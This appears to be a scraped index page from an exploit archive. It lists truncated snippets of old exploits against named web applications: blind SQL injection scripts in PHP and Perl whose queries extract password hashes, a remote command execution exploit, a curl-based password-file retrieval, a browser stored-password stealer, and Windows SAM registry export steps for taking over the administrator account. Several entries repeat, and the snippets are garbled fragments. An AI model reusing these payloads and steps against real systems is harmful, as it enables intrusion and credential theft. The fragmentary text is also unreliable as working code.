BusinessSpace <= 1.2 (id) Remote SQL Injection Vulnerability

No description provided by source. \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV102$2009 ----------------------------------------------------------------------------------------- ECHOADV102$2009 BusinessSpace = 1.2 id Remote SQL Injection Vulnerability...

IF-CMS 2.0 - 'id' Blind SQL Injection

--+++=======================================================+++-- --+++====== IF-CMS 4 return true; else return false; function usage echo "\nIF-CMS ". "\n+ Ex. : php xpl.php localhost /IF-CMS root". "\n\n"; exit ; if $argc != 4 usage ; $hostname = $argv 1; $path...

YapBB 1.2 - 'forumID' Blind SQL Injection

--+++======================================================+++-- --+++====== YapBB ". "\n? Ex. : perl $0 localhost /YapBB root abcdefghijklmnopqrstuvwxyz". "\n\n"; sub query my $user, $chr, $pos = @; my $query = "123 OR IF ASCIISUBSTRINGSELECT password FROM ". "forumuser WHERE nickname =...

PHP-CMS 1 (username) Blind SQL Injection Exploit

No description provided by source. --+++===================================================+++-- --+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++-- --+++===================================================+++-- ?php function query $user, $pos, $chr $query = "x' OR IFASCIISUBSTRINGSELECT...

Sad Raven's Click Counter 1.0 passwd.dat Disclosure Exploit

No description provided by source. !/usr/bin/python Portal Name: Sad Raven's Click Counter version : 1.0 'Google Dork : Sad Raven's Click Counter v1.0 Exploit Coded by: PouyaServer Exploit Discovered by: PouyaServer Contact Me : [email protected] import urllib import sys import parser...

Blue Eye CMS <= 1.0.0 (clanek) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================== Blue Eye CMS ". "\n+ Ex. : php xpl.php localhost /BlueEye admin". "\n\n"; exit ; function query $user, $pos, $chr $query = "x' OR ASCIISUBSTRINGSELECT password FROM blueeyeusers...

phosheezy 2.0 Remote Command Execution Exploit

Exploit for unknown platform in category web applications ============================================== phosheezy 2.0 Remote Command Execution Exploit ============================================== !/usr/bin/perl phosheezy 2.0 http://www.ryneezy.net/apps/phosheezy/phosheezy-v0.2.tar.gz Remote...

phpMDJ 1.0.3 Blind SQL Injection

--+++=========================================================+++-- --+++====== phpMDJ :.+/", $reply, $x; if strlen trim $x 1 == 0 return false; else return true; function usage echo "\n+ phpMDJ ". "\n+ Ex. : php xpl.php localhost /phpMDJ admin". "\n\n"; exit ; if $argc != 4 usage ; $hostname =...

Read passwords stored in web browser

Added: 01/09/2009 Background This tool attempts to retrieve web site passwords which have been stored by Internet Explorer. Limitations A connection to the target is required to run this tool. Due to the encryption algorithm used by Internet Explorer, this tool can only retrieve passwords which...

Read passwords stored in web browser

Added: 01/09/2009 Background This tool attempts to retrieve web site passwords which have been stored by Internet Explorer. Limitations A connection to the target is required to run this tool. Due to the encryption algorithm used by Internet Explorer, this tool can only retrieve passwords which...

Read passwords stored in web browser

Added: 01/09/2009 Background This tool attempts to retrieve web site passwords which have been stored by Internet Explorer. Limitations A connection to the target is required to run this tool. Due to the encryption algorithm used by Internet Explorer, this tool can only retrieve passwords which...

Read passwords stored in web browser

Added: 01/09/2009 Background This tool attempts to retrieve web site passwords which have been stored by Internet Explorer. Limitations A connection to the target is required to run this tool. Due to the encryption algorithm used by Internet Explorer, this tool can only retrieve passwords which...

Userlocator 3.0 - Blind SQL Injection

!/usr/bin/perl -w use strict; use LWP::Simple; $| = 1; p print q ::::::::::::::::::::::::::::: :: Userlocator 3.0 Exploit :: :: written by katharsis :: ::::::::::::::::::::::::::::: www.katharsis.x2.to [email protected] ; if @ARGV 2 print "Usage: usrlocsploit.pl url user id\nExample:...

Userlocator 3.0 - Blind SQL Injection

Userlocator 3.0 - Blind SQL Injection !/usr/bin/perl -w use strict; use LWP::Simple; $| = 1; p print q ::::::::::::::::::::::::::::: :: Userlocator 3.0 Exploit :: :: written by katharsis :: ::::::::::::::::::::::::::::: www.katharsis.x2.to [email protected] ; if @ARGV 2 print "Usage:...

Wysi Wiki Wyg 1.0 Password Retrieval

!/bin/bash Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit by athos - stakerathotmaildotit host=$1; name=$2; path='/config/passwd.txt'; if "$name" = "" ; then echo "Usage: bash $0 host/path filename"; echo "by athos - stakerathotmaildotit"; exit; fi; curl $host/$path $name; clear cat $name;...

Joomla! Component JMovies 1.1 - 'id' SQL Injection

!/usr/bin/perl -w ----------------------------------------------------------- Joomla Component comjmovies 1.1 id SQL Injection Exploit by s3rg3770 with athos : demo http://www.disneyrama.com ----------------------------------------------------------- Note: In lulz we trust :O...

Export the administrator password file-vulnerability warning-the black bar safety net

sa by default can be read in the sam key. Should. reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg net user administrator test With the administrator login. Runs out the machine after reg import c:\test.reg There is no need to clone. Find the corresponding sid...

Cross site scripting

Cross-site scripting XSS vulnerability in searcher.exe in Tornado Knowledge Retrieval System 4.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the p parameter in a root action...

CVE-2008-5264

Cross-site scripting XSS vulnerability in searcher.exe in Tornado Knowledge Retrieval System 4.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the p parameter in a root action...

CVE-2008-5264

Cross-site scripting XSS vulnerability in searcher.exe in Tornado Knowledge Retrieval System 4.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the p parameter in a root action...